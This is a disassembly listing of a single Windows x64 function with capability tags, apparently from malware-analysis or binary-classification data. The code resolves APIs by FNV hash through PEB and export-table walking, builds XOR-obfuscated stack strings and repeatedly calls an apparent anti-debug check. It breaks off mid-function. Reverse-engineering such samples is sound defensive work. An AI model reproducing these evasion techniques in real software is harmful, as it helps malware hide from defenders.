Function at 0x1400e1ec0
Capabilities:
Access peb ldr_data
Contain obfuscated stackstrings
Create thread
Encode data using xor
Get ntdll base address
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x498]
sub rsp, 0x570
movaps xmmword [rax - 0x38], xmm6
mov rax, qword [0x140596f00]
xor rax, rsp
mov qword [rbp + 0x450], rax
mov ebx, edx
mov rsi, rcx
mov qword [rsp + 0x40], rcx
xor r12d, r12d
mov dword [rsp + 0x38], r12d
test edx, edx
jle 0x1400e1f36
mov qword [rsp + 0x28], r12
mov dword [rsp + 0x20], r12d
xor r9d, r9d
lea r8, [0x1400f6b90]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [0x14059e710], rax
cmp ebx, 1
jle 0x1400e1f60
mov qword [rsp + 0x28], r12
mov dword [rsp + 0x20], r12d
xor r9d, r9d
lea r8, [0x1400f7740]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [0x14059e718], rax
cmp ebx, 2
jle 0x1400e1f8a
mov qword [rsp + 0x28], r12
mov dword [rsp + 0x20], r12d
xor r9d, r9d
lea r8, [0x1400f59e0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [0x14059e720], rax
cmp ebx, 3
jle 0x1400e1fb4
mov qword [rsp + 0x28], r12
mov dword [rsp + 0x20], r12d
xor r9d, r9d
lea r8, [0x1400f7b70]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [0x14059e728], rax
cmp ebx, 4
jle 0x1400e1fd5
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rdx, qword [rcx + 0x10]
mov eax, dword [rdx + 0x30]
add eax, 0x100000
mov dword [rdx + 0x40], eax
cmp ebx, 5
jle 0x1400e1fec
lea rcx, [rbp]
call fcn.1400f2830
lea rcx, [rbp]
call fcn.140001170
cmp qword [rsi + 0x30], 0xa
jne 0x1400e1ffe
cmp qword [rsi + 0x50], 0x40
je 0x1400e21c0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1400e2086
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400e2086
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0xa247b54e
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400e2081
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400e2060
cmp r8d, 0x2998f451
je 0x1400e208b
test r9d, r9d
jne 0x1400e2040
mov rax, qword [rax]
jmp 0x1400e2010
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov esi, dword [rcx + rax*4]
add rsi, r10
call fcn.1400e19c0
test al, al
je 0x1400e2156
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1400e2136
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400e2136
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x410d76e6
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400e2131
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400e2110
cmp r8d, 0x1d8aa24e
je 0x1400e213b
test r9d, r9d
jne 0x1400e20f0
mov rax, qword [rax]
jmp 0x1400e20c0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
xor ecx, ecx
call rdx
movdqa xmm0, xmmword [0x140173620]
movdqu xmmword [rbp + 0x40], xmm0
movdqa xmm1, xmmword [0x1401735d0]
movdqu xmmword [rbp + 0x50], xmm1
movdqa xmm0, xmmword [0x1401736b0]
movdqu xmmword [rbp + 0x60], xmm0
movdqa xmm1, xmmword [0x1401735f0]
movdqu xmmword [rbp + 0x70], xmm1
mov dword [rbp + 0x80], 0x2a66292f
mov dword [rbp + 0x84], 0x1003b3a
lea rcx, [rbp + 0x40]
call fcn.1401068c0
mov r9d, reloc.WS2_32.dll_recv
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call rsi
xor ecx, ecx
int 0x29
mov rsi, qword [rsp + 0x40]
xorps xmm0, xmm0
movups xmmword [rbp + 0x300], xmm0
xorps xmm1, xmm1
movups xmmword [rbp + 0x2c0], xmm1
mov qword [rbp + 0x2d0], r12
mov qword [rbp + 0x2d8], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x2c0], r12b
lea rcx, [rbp + 0x300]
call qword [sym.imp.RPCRT4.dll_UuidCreate]
mov qword [rbp + 0x170], r12
lea rdx, [rbp + 0x170]
lea rcx, [rbp + 0x300]
call qword [sym.imp.RPCRT4.dll_UuidToStringA]
mov r13, 0xffffffffffffffff
test eax, eax
jne 0x1400e2253
mov rdx, qword [rbp + 0x170]
mov r8, r13
nop word [rax + rax]
inc r8
cmp byte [rdx + r8], 0
jne 0x1400e2230
lea rcx, [rbp + 0x2c0]
call fcn.1400e09d0
lea rcx, [rbp + 0x170]
call qword [sym.imp.RPCRT4.dll_RpcStringFreeA]
xorps xmm0, xmm0
movups xmmword [rbp + 0x2a0], xmm0
mov qword [rbp + 0x2b0], r12
mov qword [rbp + 0x2b8], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x2a0], 0
movups xmmword [rbp + 0x20], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x30], xmm1
mov r8d, reloc.WS2_32.dll_recv
cmp qword [rbp + 0x2d0], r8
cmovb r8, qword [rbp + 0x2d0]
lea rdx, [rbp + 0x2c0]
cmp qword [rbp + 0x2d8], 0xf
cmova rdx, qword [rbp + 0x2c0]
lea rcx, [rbp + 0x20]
call fcn.1400f2730
mov r14d, 0x400
mov dword [rsp + 0x38], r14d
lea rdx, [rbp + 0x20]
lea rcx, [rbp + 0x2a0]
call fcn.1400e08b0
lea rcx, [rbp + 0x20]
call fcn.140001170
call fcn.1400e19c0
test al, al
je 0x1400e239b
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1400e2376
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400e2376
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x410d76e6
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400e2371
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400e2350
cmp r8d, 0x1d8aa24e
je 0x1400e237b
test r9d, r9d
jne 0x1400e2330
mov rax, qword [rax]
jmp 0x1400e2300
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
xor ecx, ecx
call rdx
mov r14d, dword [rsp + 0x38]
mov word [rbp - 0x78], Ordinal_46
mov byte [rbp - 0x76], 1
lea r8, [rbp - 0x78]
lea rdx, [rbp + 0x2a0]
lea rcx, [rbp + 0x20]
call fcn.140106d60
nop
lea r8, [rsi + 0x40]
mov rdx, rax
lea rcx, [rbp]
call fcn.1400e0fd0
lea rcx, [rsi + 0x258]
mov rdx, rax
call fcn.1400e08b0
lea rcx, [rbp]
call fcn.140001170
nop
lea rcx, [rbp + 0x20]
call fcn.140001170
lea rcx, [rbp + 0x2e0]
call fcn.1400f56c0
nop
call fcn.1400e19c0
test al, al
je 0x1400e24bb
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1400e2496
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400e2496
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x410d76e6
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400e2491
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400e2470
cmp r8d, 0x1d8aa24e
je 0x1400e249b
test r9d, r9d
jne 0x1400e2450
mov rax, qword [rax]
jmp 0x1400e2420
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
xor ecx, ecx
call rdx
mov r14d, dword [rsp + 0x38]
mov dword [rbp + 0x1c0], 0x677f6820
mov dword [rbp + 0x1c4], 0x6965796f
mov word [rbp + 0x1c8], gethostname
mov byte [rbp + 0x1ca], 1
call fcn.1400e19c0
test al, al
je 0x1400e259b
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1400e2576
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400e2576
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x410d76e6
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400e2571
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400e2550
cmp r8d, 0x1d8aa24e
je 0x1400e257b
test r9d, r9d
jne 0x1400e2530
mov rax, qword [rax]
jmp 0x1400e2500
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
xor ecx, ecx
call rdx
mov r14d, dword [rsp + 0x38]
mov dword [rbp + 0x1b0], 0x64696920
mov dword [rbp + 0x1b4], 0x100366f
call fcn.1400e19c0
test al, al
je 0x1400e266b
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1400e2646
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400e2646
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x410d76e6
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400e2641
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400e2620
cmp r8d, 0x1d8aa24e
je 0x1400e264b
test r9d, r9d
jne 0x1400e2600
mov rax, qword [rax]
jmp 0x1400e25d0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
xor ecx, ecx
call rdx
mov r14d, dword [rsp + 0x38]
mov dword [rbp - 0x20], 0x6a666220
mov dword [rbp - 0x1c], 0x30756e61
mov word [rbp - 0x18], 0x100
call fcn.1400e19c0
test al, al
je 0x1400e273b
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1400e2716
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400e2716
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x410d76e6
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400e2711
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400e26f0
cmp r8d, 0x1d8aa24e
je 0x1400e271b
test r9d, r9d
jne 0x1400e26d0
mov rax, qword [rax]
jmp 0x1400e26a0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
xor ecx, ecx
call rdx
mov r14d, dword [rsp + 0x38]
mov dword [rbp - 0x70], 0x7a696f20
mov dword [rbp - 0x6c], 0x1003662
call fcn.1400e19c0
test al, al
je 0x1400e280b
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1400e27e6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400e27e6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x410d76e6
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400e27e1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400e27c0
cmp r8d, 0x1d8aa24e
je 0x1400e27eb
test r9d, r9d
jne 0x1400e27a0
mov rax, qword [rax]
jmp 0x1400e2770
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
xor ecx, ecx
call rdx
mov r14d, dword [rsp + 0x38]
mov dword [rbp - 0x80], 0x7b6d7120
mov word [rbp - 0x7c], gethostname
mov byte [rbp - 0x7a], 1
call fcn.1400e19c0
test al, al
je 0x1400e28db
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1400e28b6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400e28b6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x410d76e6
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400e28b1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400e2890
cmp r8d, 0x1d8aa24e
je 0x1400e28bb
test r9d, r9d
jne 0x1400e2870
mov rax, qword [rax]
jmp 0x1400e2840
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
xor ecx, ecx
call rdx
mov r14d, dword [rsp + 0x38]
mov dword [rbp - 0x10], 0x6c787e72
mov dword [rbp - 0xc], 0x64626237
mov word [rbp - 8], 0x7a
mov byte [rbp - 6], 1
lea r8, [rbp - 0x80]
lea rdx, [rbp - 0x10]
lea rcx, [rbp + 0x40]
call fcn.1401076f0
nop
lea r8, [rsi + 0x60]
mov rdx, rax
lea rcx, [rbp + 0x150]
call fcn.1400e0fd0
nop
lea r8, [rbp - 0x70]
mov rdx, rax
lea rcx, [rbp + 0x130]
call fcn.140107b80
nop
lea rdx, [rbp + 0x2e0]
cmp qword [rbp + 0x2f8], 0xf
cmova rdx, qword [rbp + 0x2e0]
mov r8, qword [rbp + 0x2f0]
mov rcx, rax
call fcn.1400e0940
movups xmm0, xmmword [rax]
movups xmmword [rbp], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x10], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
bts r14d, 0xc
lea r8, [rbp - 0x20]
lea rdx, [rbp]
lea rcx, [rbp + 0x110]
call fcn.140107fd0
nop
lea rdx, [rbp + 0x2a0]
cmp qword [rbp + 0x2b8], 0xf
cmova rdx, qword [rbp + 0x2a0]
mov r8, qword [rbp + 0x2b0]
mov rcx, rax
call fcn.1400e0940
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x20], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x30], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
bts r14d, 9
mov dword [rsp + 0x38], r14d
lea r8, [rbp + 0x1b0]
lea rdx, [rbp + 0x20]
lea rcx, [rbp + 0xb0]
call fcn.140107b80
nop
mov r8, rsi
mov rdx, rax
lea rcx, [rbp + 0xf0]
call fcn.1400e0fd0
nop
lea r8, [rbp + 0x1c0]
mov rdx, rax
lea rcx, [rbp + 0xd0]
call fcn.1401081b0
nop
lea r8, [rsi + 0x20]
mov rdx, rax
lea rcx, [rbp + 0x330]
call fcn.1400e0fd0
nop
lea rcx, [rbp + 0xd0]
call fcn.140001170
nop
lea rcx, [rbp + 0xf0]
call fcn.140001170
nop
lea rcx, [rbp + 0xb0]
call fcn.140001170
nop
lea rcx, [rbp + 0x20]
call fcn.140001170
nop
lea rcx, [rbp + 0x110]
call fcn.140001170
nop
lea rcx, [rbp]
call fcn.140001170
nop
lea rcx, [rbp + 0x130]
call fcn.140001170
nop
lea rcx, [rbp + 0x150]
call fcn.140001170
nop
lea rcx, [rbp + 0x40]
call fcn.140001170
lea rax, [rbp]
mov qword [rbp - 0x78], rax
lea rdx, [rsi + 0x80]
lea rcx, [rbp]
call fcn.1400e0750
mov rbx, rax
lea rdx, [rbp + 0x330]
lea rcx, [rbp + 0x20]
call fcn.1400e0750
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x280]
call fcn.1400e9ef0
nop
call fcn.1400e19c0
test al, al
je 0x1400e2b9b
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1400e2b76
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400e2b76
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x410d76e6
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400e2b71
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400e2b50
cmp r8d, 0x1d8aa24e
je 0x1400e2b7b
test r9d, r9d
jne 0x1400e2b30
mov rax, qword [rax]
jmp 0x1400e2b00
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
xor ecx, ecx
call rdx
mov r14d, dword [rsp + 0x38]
movdqa xmm0, xmmword [str.MbqH]
movdqu xmmword [rbp + 0x1c0], xmm0
mov byte [rbp + 0x1d0], 1
lea rdx, [rbp + 0x1c0]
lea rcx, [rbp + 0x280]
call fcn.140108620
test al, al
je 0x1400e2e40
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1400e2c56
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400e2c56
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x2fd68cf2
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400e2c51
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400e2c30
cmp r8d, 0x433b92b5
je 0x1400e2c5b
test r9d, r9d
jne 0x1400e2c10
mov rax, qword [rax]
jmp 0x1400e2be0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov esi, dword [rcx + rax*4]
add rsi, r10
call fcn.1400e19c0
test al, al
je 0x1400e2d26
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1400e2d06
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400e2d06
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x410d76e6
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400e2d01
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400e2ce0
cmp r8d, 0x1d8aa24e
je 0x1400e2d0b
test r9d, r9d
jne 0x1400e2cc0
mov rax, qword [rax]
jmp 0x1400e2c90
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
xor ecx, ecx
call rdx
movdqa xmm0, xmmword [0x140173630]
movdqu xmmword [rbp + 0x40], xmm0
movdqa xmm1, xmmword [0x140173680]
movdqu xmmword [rbp + 0x50], xmm1
movdqa xmm0, xmmword [0x1401736a0]
movdqu xmmword [rbp + 0x60], xmm0
movdqa xmm1, xmmword [0x140173600]
movdqu xmmword [rbp + 0x70], xmm1
mov dword [rbp + 0x80], 0x662334
mov byte [rbp + 0x84], 1
lea rcx, [rbp + 0x40]
call fcn.140108800
mov r9d, reloc.WS2_32.dll_recv
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call rsi
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1400e2e16
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400e2e16
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x36c5a851
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400e2e11
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400e2df0
cmp r8d, 0xb03c2af1
je 0x1400e2e1b
test r9d, r9d
jne 0x1400e2dd0
mov rax, qword [rax]
jmp 0x1400e2da0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
xor ecx, ecx
call rdx
mov r14d, dword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov qword [rbp + 0x78], r12
mov byte [rsp + 0x20], 0
mov r9b, 1
lea r8, [rbp + 0x40]
lea rdx, [rbp + 0x280]
lea rcx, [rbp + 0x1a0]
call fcn.140108a50
nop
call fcn.1400e19c0
test al, al
je 0x1400e2f2b
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1400e2f06
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400e2f06
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x410d76e6
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400e2f01
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400e2ee0
cmp r8d, 0x1d8aa24e
je 0x1400e2f0b
test r9d, r9d
jne 0x1400e2ec0
mov rax, qword [rax]
jmp 0x1400e2e90
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
xor ecx, ecx
call rdx
mov r14d, dword [rsp + 0x38]
mov dword [rbp - 0x40], 0x7a7b626b
mov dword [rbp - 0x3c], 0x696c6b
mov byte [rbp - 0x38], 1
lea rdx, [rbp]
lea rcx, [rbp - 0x40]
call fcn.140108ba0
bts r14d, 0xb
mov rbx, qword [rbp - 0x68]
movzx eax, byte [rbp + 0x1a0]
test al, al
jne 0x1400e2f7d
mov byte [rbp + 0x1a0], 1
call fcn.14010bd10
mov rcx, rax
mov qword [rbp + 0x1a8], rax
movzx eax, byte [rbp + 0x1a0]
jmp 0x1400e2f84
mov rcx, qword [rbp + 0x1a8]
cmp al, 1
jne 0x1400e2f94
lea rdx, [rbp]
call fcn.1400e1530
mov rbx, rax
lea rdx, [rbp + 0x310]
mov rcx, rbx
call fcn.1400ecad0
nop
lea rcx, [rbp]
call fcn.140001170
xor edx, edx
mov r8d, 0xf8
lea rcx, [rbp + 0x350]
call sub.VCRUNTIME140.dll_memset
mov edx, 1
lea rcx, [rbp + 0x350]
call fcn.1400188d0
nop
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x228], xmm0
mov qword [rbp + 0x238], rax
lea r8, [rsp + 0x30]
lea edx, [rax + 0x20]
lea rcx, [rbp + 0x228]
call fcn.1400e1340
nop
mov rax, qword [rbp + 0x230]
mov r9, qword [rbp + 0x228]
sub rax, r9
lea r8, [rbp + 0x280]
cmp qword [rbp + 0x298], 0xf
cmova r8, qword [rbp + 0x280]
lea rcx, [rsi + 0x40]
cmp qword [rcx + 0x18], 0xf
jbe 0x1400e3031
mov rcx, qword [rcx]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r9
mov r9, qword [rbp + 0x290]
mov rdx, qword [rsi + 0x50]
call fcn.140129a20
mov r15, qword [rbp + 0x230]
mov rsi, qword [rbp + 0x228]
cmp rsi, r15
je 0x1400e30c4
nop
movzx edi, byte [rsi]
lea rdx, [0x1400e0e40]
lea rcx, [rbp + 0x360]
